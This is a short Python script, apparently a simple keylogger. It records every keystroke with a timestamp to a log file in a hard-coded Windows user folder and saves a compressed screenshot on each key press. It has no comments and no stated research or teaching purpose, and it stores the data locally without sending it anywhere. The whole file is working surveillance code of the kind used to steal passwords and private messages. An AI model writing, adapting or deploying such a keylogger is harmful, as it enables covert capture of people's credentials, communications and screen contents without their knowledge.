from pynput.keyboard import Key, Listener
from datetime import datetime
import pyautogui
import logging

log_dir = "C:/Users/Matrix/logs/"

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG,format='%(asctime)s: %(message)s')

def scr():
    time_raw=str(datetime.now())
    date = time_raw.split(".")[0]
    name_file = date.replace(":"," ")
    pyautogui.screenshot().convert('LA').convert('RGB').save(log_dir + name_file+'.jpg', quality=10)
    
def on_press(key):
    logging.info(key)
    scr()

with Listener(on_press=on_press) as listener:
    listener.join()